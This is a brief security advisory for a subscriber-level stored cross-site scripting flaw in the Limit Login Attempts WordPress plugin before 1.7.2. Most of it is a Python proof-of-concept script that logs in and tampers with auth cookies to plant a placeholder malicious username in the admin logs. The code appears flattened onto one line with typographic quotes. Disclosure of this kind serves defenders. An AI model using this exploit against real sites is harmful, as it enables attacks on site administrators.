Limit Login Attempts < 1.7.2 - Subscriber+ Stored XSS

The plugin does not sanitize and escape usernames when outputting them back in the logs dashboard, which could allow any authenticated users, such as subscriber to perform Stored Cross-Site Scripting attacks

PoC

import requests import sys import re if len(sys.argv) != 4: print(‘USAGE: python %s ’ % (sys.argv[0],)) sys.exit() url = sys.argv[1].rstrip(’/‘) with requests.Session() as s: print(‘Logging in…’) # Log into WordPress using our Subscriber account res = s.post( url + ‘/wp-login.php’, headers={ ‘Cookie’: ‘wordpress_test_cookie=WP Cookie check’ }, data={‘log’:sys.argv[2], ‘pwd’:sys.argv[3], ‘wp-submit’: ‘Log In’, ‘redirect_to’: ‘/wp-admin/’, ‘testcookie’:1}) # Send 5 corrupted cookies with malicious usernames in them print(‘Sending corrupted cookies 5 times…’) for cookie in s.cookies.keys(): if re.match(r’wordpress_[0-9a-f]+’, cookie): malicious_payload = s.cookies.get(name=cookie, path=‘/’).replace(sys.argv[2], ‘MALICIOUS_USERNAME’) s.cookies.set(name=cookie, value=None, path=‘/’) s.cookies.set(name=cookie, value=malicious_payload, path=‘/’) for i in range(5): s.get( url + ‘/wp-admin/’) print(f’View limit-login-attempts logs now at {sys.argv[1]}/wp-admin/options-general.php?page=limit-login-attempts’)